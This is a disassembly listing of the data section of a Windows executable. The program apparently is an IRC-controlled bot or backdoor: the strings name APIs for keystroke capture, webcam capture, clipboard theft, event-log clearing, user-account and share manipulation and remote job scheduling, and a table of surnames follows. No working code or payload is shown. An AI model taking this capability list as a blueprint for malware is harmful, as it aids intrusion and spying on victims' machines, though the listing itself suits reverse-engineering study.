aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
align 10h
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
; sub_4185A4+65o
align 10h
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo
align 10h
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o
; sub_4185A4+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o
align 10h
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
align 10h
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
align 10h
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo
align 10h
aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409B12+631o
align 10h
aBind db 'bind',0 ; DATA XREF: sub_409B12+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo
align 10h
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o
aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o
align 10h
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o
align 10h
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao
align 10h
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
align 10h
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo
align 10h
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
align 10h
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o
align 10h
aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o
align 10h
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co
align 10h
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo
align 10h
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
align 10h
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o
; sub_424D78+Do
align 10h
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
align 10h
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o
align 10h
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao
align 10h
unk_42D330 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 10h
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
align 10h
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
align 10h
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
align 4
a_: ; DATA XREF: sub_40F96A+252o
unicode 0, <.>,0
unk_42D4C0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 10h
unk_42D4F0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 10h
unk_42D520 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_42D544 db 2Dh ; - ; DATA XREF: sub_40AB31+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o
; sub_40BFEB+38o
align 10h
aReal db 'real',0
align 4
dd 0
dword_42D58C dd 0 ; DATA XREF: sub_40B08D+7o
off_42D590 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r
aConst db 'const',0
align 10h
dd 1, 40AD22h, 7474656Ch, 7265h, 0
dd 2, 40AD80h, 706D6F63h, 2 dup(0)
dd 3, 40ADCDh, 6E756F63h, 797274h, 0
dd 4, 40AE6Bh, 736Fh, 2 dup(0)
dd 5, 40AEE0h
off_42D5F8 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42D604 dd offset aAddison ; DATA XREF: sub_40B08D+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
